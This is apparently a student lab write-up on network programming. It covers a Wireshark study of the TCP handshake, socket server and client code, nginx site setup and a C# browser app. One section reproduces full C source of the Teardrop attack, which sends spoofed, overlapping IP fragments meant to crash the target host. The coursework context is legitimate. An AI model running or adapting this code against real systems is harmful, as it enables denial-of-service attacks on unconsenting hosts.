TCP三次握手&四次握手
一、以进出“金庸梦”游戏为例使用wireshark抓包分析tcp的三次握手与四次握手
1. tcp三次握手与四次握手简介
tcp三次握手
可参照TCP三次握手详解-深入浅出(有图实例演示)
tcp四次握手
2. 在win10中打开cmd命令行窗口，用telnet进入金庸游戏
telnet（进入telnet客户端）->set localecho（打开本地回显）->open 10.1.230.41 3900（进入游戏服务器）
3. 查看当前网络ip
cmd->ipconfig
4. 查看三次握手
wireshark抓取了很多的数据包，我们用过滤器进行筛选
tcp.port == 3900
三次握手主要由标志位SYN和ACK共同完成的
5. 断开游戏服务器并分析四次握手的包
二、原始套接字编程&SOCKET应用
1、Teardrop代码编程
1.1 实验代码
代码为“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.*/
void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
// 定义源地址和目的地址
u_long src_ip = 0, dst_ip = 0;
// 定义源端口和目的端口
u_short src_prt = 0, dst_prt = 0;
// 定义一个32位的IPv4地址
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
//创建原始套接字
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
(char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
if (argc < 3)
usage(argv[0]);
// 设置源IP 和 目的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port (should be emphemeral)
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port (DNS, anyone?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[\n ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
// printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
u_char byte; // a byte
// 套接字地址结构
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
flag = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
// IP version and header length
byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP TOS (skipped)
// total length
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP id
p_ptr += 2;
//IP frag flags and offset
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP TTL
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
// IP checksum filled in by kernel
p_ptr += 4;
// IP source address
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
// IP destination address
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // UDP source port
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING); // UDP total length
p_ptr += 4;
// 发送数据：Fake News
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
// IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
// 获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
1.2 抓包结果
2、SOCKET应用实例
2.1 查看服务器ip
2.2 服务器及客户端代码
服务器
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define PORT "9090" // the port users will be connecting to
#define BACKLOG 10
// how many pending connections queue will hold
void sigchld_handler(int s)
{
while(waitpid(-1, NULL, WNOHANG) > 0);
}
// get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if (sa->sa_family == AF_INET) {
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{
int sockfd, new_fd; // listen on sock_fd, new connection on new_fd
struct addrinfo hints, *servinfo, *p;
struct sockaddr_storage their_addr; // connector's address information
socklen_t sin_size;
struct sigaction sa;
int yes=1;
char s[INET6_ADDRSTRLEN];
int rv;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE; // use my IP
if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return 1;
}
// loop through all the results and bind to the first we can
for(p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype,
p->ai_protocol)) == -1) {
perror("server: socket");
continue;
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}
if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
perror("server: bind");
continue;
}
break;
}
if (p == NULL) {
fprintf(stderr, "server: failed to bind\n");
return 2;
}
freeaddrinfo(servinfo); // all done with this structure
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
sa.sa_handler = sigchld_handler; // reap all dead processes
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
if (sigaction(SIGCHLD, &sa, NULL) == -1) {
perror("sigaction");
exit(1);
}
printf("server: waiting for connections...\n");
while(1) { // main accept() loop
sin_size = sizeof their_addr;
new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);
if (new_fd == -1) {
perror("accept");
continue;
}
inet_ntop(their_addr.ss_family,
get_in_addr((struct sockaddr *)&their_addr),
s, sizeof s);
printf("server: got connection from %s\n", s);
if (!fork()) { // this is the child process
close(sockfd); // child doesn't need the listener
if (send(new_fd, "Hello, world!", 13, 0) == -1)
perror("send");
close(new_fd);
exit(0);
}
close(new_fd); // parent doesn't need this
}
return 0;
}
客户端
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PORT "9090" //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once
//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(int argc, char *argv[])
{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct addrinfo hints, *servinfo, *p;
int rv;
char s[INET6_ADDRSTRLEN];
if(argc != 2)
{
fprintf(stderr, "usage:client hostname\n");
exit(1);
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
return 1;
}
// loop through all the results and connect to the first we can
for(p = servinfo; p != NULL; p = p->ai_next)
{
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("client:socket");
continue;
}
if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("client:connect");
continue;
}
break;
}
if(p == NULL)
{
fprintf(stderr, "client:failed to connect\n");
return 2;
}
inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
printf("client:connecting to %s\n",s);
freeaddrinfo(servinfo);// all done with this structure
if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror("recv");
exit(1);
}
buf[numbytes] = '\0';
printf("client:received %s\n",buf);
close(sockfd);
return 0;
}
2.3 编译文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PORT "9090" //port we're listening on
//get sockaddr,IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET){
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{
fd_set master;
// master file descriptor list
fd_set read_fds; // temp file descriptor list for select()
int fdmax;
// maximum file descriptor number
int listener;
// listening socket descriptor
int newfd;
// newly accept()ed socket descriptor
struct sockaddr_storage remoteaddr; // client address
socklen_t addrlen;
char buf[256];
// buffer for client data
int nbytes;
char remoteIP[INET6_ADDRSTRLEN];
int yes=1;
// for setsockopt() SO_REUSEADDR, below
int i, j, rv;
struct addrinfo hints, *ai, *p;
FD_ZERO(&master);
// clear the master and temp sets
FD_ZERO(&read_fds);
// get us a socket and bind it
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
{
fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
exit(1);
}
for(p = ai; p != NULL; p = p->ai_next)
{
listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if(listener < 0)
{
continue;
}
// lose the pesky "address already in use" error message
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
{
close(listener);
continue;
}
break;
}
// if we got here, it means we didn't get bound
if(p == NULL)
{
fprintf(stderr, "selectserver:failed to bind\n");
exit(2);
}
freeaddrinfo(ai); // all done with this
// listen
if(listen(listener, 10) == -1)
{
perror("listen");
exit(3);
}
// add the listener to the master set
FD_SET(listener, &master);
// keep track of the biggest file descriptor
fdmax = listener; // so far, it's this one
// main loop
for(;;)
{
read_fds = master; // copy it
if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
{
perror("select");
exit(4);
}
// run through the existing connections looking for data to read
for(i = 0; i <= fdmax; i++)
{
if(FD_ISSET(i, &read_fds))// we got one!!
{
if(i == listener)
{
// handle new connections
addrlen = sizeof remoteaddr;
newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);
if(newfd == -1)
{
perror("accept");
}
else
{
FD_SET(newfd, &master); // add to master set
if(newfd > fdmax)
{
// keep track of the max
fdmax = newfd;
}
printf("selectserver: new connection from %s on "
"socket %d\n",
inet_ntop(remoteaddr.ss_family,
get_in_addr((struct sockaddr*)&remoteaddr),
remoteIP, INET6_ADDRSTRLEN),
newfd);
}
}
else
{
// handle data from a client
if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
{
// got error or connection closed by client
if(nbytes == 0)
{
// connection closed
printf("selectserver:socket %d hung up\n", i);
}
else
{
perror("recv");
}
close(i);// bye!
FD_CLR(i, &master);// remove from master set
}
else
{
// we got some data from a client
for(j =0; j <= fdmax; j++)
{
// send to everyone!
if(FD_ISSET(j, &master))
{
// except the listener and ourselves
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
{
perror("send");
}
}
}
}
}
} //END handle from client
} //END got new incoming connection
} //END looping through file descriptors
} //END for(;;)--and you thought it would never end!
return 0;
}
三、用ngnix完成一个简单web网站
1、静态页面设计
1.1目录结构
1.2效果图
2、安装 nginx
使用命令：
sudo apt update
sudo apt install nginx
安装完成后，请检查 nginx 服务的状态：
sudo systemctl status nginx
使用浏览器输入：http://你的 Ubuntu 的 IP 地址（例：http://192.168.0.7）打开默认的 nginx 登录页面。
至此，就成功安装了 nginx ，更多的 nginx 使用命令请参考以下：
1、停止nginx服务： sudo systemctl stop nginx
2、再次启动： sudo systemctl start nginx
3、重新启动nginx服务： sudo systemctl restart nginx
4、在进行一些配置更改后重新加载Nginx服务： sudo systemctl reload nginx
5、禁用nginx服务在启动时启动： sudo systemctl disable nginx
6、启用nginx服务在启动时启动： sudo systemctl enable nginx
2、设置 nginx 服务器模块
第一步：将域名指向本机
使用命令：
sudo nano /etc/hosts
然后添加一行内容（域名可以自己随便设置，这里我设置的为 ubuntuzcj.com）：
127.0.0.1 ubuntuzcj.com www.ubuntuzcj.com
保存之后，重启 network：
sudo /etc/init.d/networking restart
第二步：创建目录结构
文档根目录是域名网站文件的存储和响应请求的目录，将文档根目录设置为我们想要的任何位置，但在本指南中，我们将使用以下目录结构：
/var/www/
├── ubuntuzcj.com
│ └── public_html
├── ubuntuzcj.net
│ └── public_html
我们希望在 /var/www 目录下的服务器上托管的每个域创建一个单独的目录，在每个这些目录中，我们将创建一个 public_html 目录来存储域网站文件。
我们来为我们的域 ubuntuzcj.com 创建根目录。
sudo mkdir -p /var/www/ubuntuzcj.com/public_html
后续需要使用 rar 来压缩文件，所以先下载好。
sudo apt install rar
下载完毕后，进入域文档根目录下，此时没有任何文件。
cd /var/www/ubuntuzcj.com/public_html
ls
创建一个 123.txt 文件并用 rar 压缩。
sudo nano 123.txt
sudo rar a 123.rar 123.txt
紧接着，在 123.rar 同目录下创建一个 index.html ，并输入以下的代码。
sudo nano index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ubuntuzcj.com</title>
</head>
<body>
<h1>标题</h1>
<p>内容：这是一个简单的网页</p>
<img src="https://i01piccdn.sogoucdn.com/c4e7021b4ab1def7" alt="动漫图">
<br><br><br>
<a href="https://www.baidu.com">百度一下，你就知道</a>
<br><br><br>
<a href="123.rar">下载一个 123.txt 文本</a>
</body>
</html>
第三步：创建服务器块
默认情况下，在 Ubuntu 系统上 nginx 服务器模块配置文件存储在 /etc/nginx/sites-available 目录中，这些目录通过到 /etc/nginx/sites-enabled/ 目录的符号链接启用。
首先创建基本配置文件。
sudo nano /etc/nginx/sites-available/ubuntuzcj.com
server {
listen 80;
listen [::]:80;
root /var/www/ubuntuzcj.com/public_html/;
index index.html;
server_name ubuntuzcj.com www.ubuntuzcj.com;
access_log /var/log/nginx/ubuntuzcj.com.access.log;
error_log /var/log/nginx/ubuntuzcj.com.error.log;
location / {
try_files $uri $uri/ =404;
}
}
要启用新的服务器块文件，我们需要创建一个从文件到启动站点的符号链接，该目录在启动期间由 nginx 读取。
sudo ln -s /etc/nginx/sites-available/ubuntuzcj.com /etc/nginx/sites-enabled/
四、C# 使用 WebBrowser 编写一个简易的网页客户端
1、创建项目
打开 VS2019，点击 “ 创建新项目 ”。
选择 C# 的 “ Windows 窗体应用 ”，然后点击 “ 下一步 ”。
输入项目名称，选择保存路径，然后点击 “ 创建 ”。
2、窗体设计
添加 MenuStrip 控件到窗口中，作为菜单栏，并添加如下的下拉选项。
添加 ToolStrip 控件到窗口中，作为工具栏，如图所示：
然后添加一些工具项。
添加 StatusStrip 控件到窗口中，作为状态栏。
添加一个 StatusLabel（文本内容：当前状态）。
添加 WebBrowser 控件到窗口中，作为网页的显示界面。
3、代码编写
说明：
一、按钮类的控件，可以双击后转到代码编辑区；
二、如果出现部分红色波浪线的部分，可以点击 “ 显示修补程序 ” ，这是由于没有定义。
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace WebShow
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public Form1(string url)
{
InitializeComponent();
// 打开用户主页.
// 以下事件在设计器中不可见.
webBrowser1.CanGoBackChanged +=
new EventHandler(webBrowser1_CanGoBackChanged);
webBrowser1.CanGoForwardChanged +=
new EventHandler(webBrowser1_CanGoForwardChanged);
webBrowser1.DocumentTitleChanged +=
new EventHandler(webBrowser1_DocumentTitleChanged);
webBrowser1.StatusTextChanged +=
new EventHandler(webBrowser1_StatusTextChanged);
if (url == string.Empty)
webBrowser1.GoHome();
else
webBrowser1.Navigate(url);
}
//打开本地 html 文件
private void ToolStripMenuItem1_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();//实例打开文件窗口对象
ofd.Filter = "Htm文件(*.htm)|*.htm|Html文件(*.html)|*.html"; //设置“另存为文件类型”或“文件类型”框中出现的选择内容
ofd.FilterIndex = 1; //设置默认显示文件类型为Jpg文件(*.jpg)|*.jpg
ofd.Title = "选择Html文件"; //获取或设置文件对话框标题
ofd.InitialDirectory = Application.StartupPath;
ofd.RestoreDirectory = true;
if (ofd.ShowDialog() == DialogResult.OK)
{
toolStripTextBox1.Text = ofd.FileName;
}
else
{
return;
}
}
//菜单栏——打印
private void ToolStripMenuItem2_Click(object sender, EventArgs e)
{
webBrowser1.ShowPrintDialog();
}
//打印设置
private void ToolStripMenuItem3_Click(object sender, EventArgs e)
{
webBrowser1.ShowPageSetupDialog();
}
//打印预览
private void ToolStripMenuItem4_Click(object sender, EventArgs e)
{
webBrowser1.ShowPrintPreviewDialog();
}
//网页属性
private void ToolStripMenuItem5_Click(object sender, EventArgs e)
{
webBrowser1.ShowPropertiesDialog();
}
//网页源码
private void ToolStripMenuItem6_Click(object sender, EventArgs e)
{
// 显示网页源码的对话框显示出来
CodeView dialogCodeView = new CodeView();
dialogCodeView.Text = webBrowser1.Url.ToString() + " - 原始源";
dialogCodeView.Show();
// 把网页源码显示在弹出的窗口中
// 首先解码
//StreamReader reader = new StreamReader(webBrowser1.DocumentStream, Encoding.GetEncoding("GB2312"));
//StreamReader reader = new StreamReader(webBrowser1.DocumentStream, Encoding.UTF8);
StreamReader reader = new StreamReader(webBrowser1.DocumentStream, Encoding.Default);
dialogCodeView.sourceCode = reader.ReadToEnd();
reader.Close();
}
//另存为
private void ToolStripMenuItem7_Click(object sender, EventArgs e)
{
webBrowser1.ShowSaveAsDialog();
}
//退出
private void ToolStripMenuItem8_Click(object sender, EventArgs e)
{
webBrowser1.Dispose();
Application.Exit();
}
//后退
private void toolStripButton1_Click(object sender, EventArgs e)
{
webBrowser1.GoBack();
}
//前进
private void toolStripButton2_Click(object sender, EventArgs e)
{
webBrowser1.GoForward();
}
//主页
private void toolStripButton3_Click(object sender, EventArgs e)
{
webBrowser1.GoHome();
}
//刷新
private void toolStripButton4_Click(object sender, EventArgs e)
{
// 如果地址为 "about:blank" , 避免刷新.
if (!webBrowser1.Url.Equals("about:blank"))
webBrowser1.Refresh();
}
//前往
private void toolStripButton5_Click(object sender, EventArgs e)
{
Navigate(toolStripTextBox1.Text);
}
//停止
private void toolStripButton6_Click(object sender, EventArgs e)
{
webBrowser1.Stop();
}
//搜索
private void toolStripButton7_Click(object sender, EventArgs e)
{
webBrowser1.GoSearch();
}
//工具栏——打印
private void toolStripButton8_Click(object sender, EventArgs e)
{
webBrowser1.Print();
}
//文本框
private void toolStripTextBox1_Click(object sender, EventArgs e)
{
toolStripTextBox1.SelectAll();
}
//文本框
private void toolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
{
Navigate(toolStripTextBox1.Text);
}
}
private void Navigate(String address)
{
if (String.IsNullOrEmpty(address)) return;
if (address.Equals("about:blank")) return;
try
{
webBrowser1.Navigate(new Uri(address));
}
catch (System.UriFormatException)
{
return;
}
}
private void webBrowser1_Navigated(object sender, WebBrowserNavigatedEventArgs e)
{
toolStripTextBox1.Text = webBrowser1.Url.ToString();
}
private void webBrowser1_CanGoBackChanged(object sender, EventArgs e)
{
toolStripButton1.Enabled = webBrowser1.CanGoBack;
}
private void webBrowser1_CanGoForwardChanged(object sender, EventArgs e)
{
toolStripButton2.Enabled = webBrowser1.CanGoForward;
}
// 用当前网页文档的标题取代窗口标题.
private void webBrowser1_DocumentTitleChanged(object sender, EventArgs e)
{
this.Text = webBrowser1.DocumentTitle;
}
private void webBrowser1_StatusTextChanged(object sender, EventArgs e)
{
toolStripStatusLabel1.Text = webBrowser1.StatusText;
}
// 单击程序中某个链接后会打开新窗口，此时就会执行NewWinow事件中的代码
// 通过此事件中的代码将打开新窗口中内容添加到本软件的webBrowser控件中显示
// 实现网页用我们自定义的浏览器显示
private void webBrowser1_NewWindow(object sender, System.ComponentModel.CancelEventArgs e)
{
string newURL = webBrowser1.StatusText;
Form1 newform = new Form1(newURL);
newform.toolStripStatusLabel1.Text = "正在打开网页 " + newURL + " ...";
newform.Show();
// 使其他浏览器无法捕获此事件
// 阻止了其他浏览器显示网页，而是采用我们自定义的浏览器来显示
e.Cancel = true;
}
}
}
扫一扫
941
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
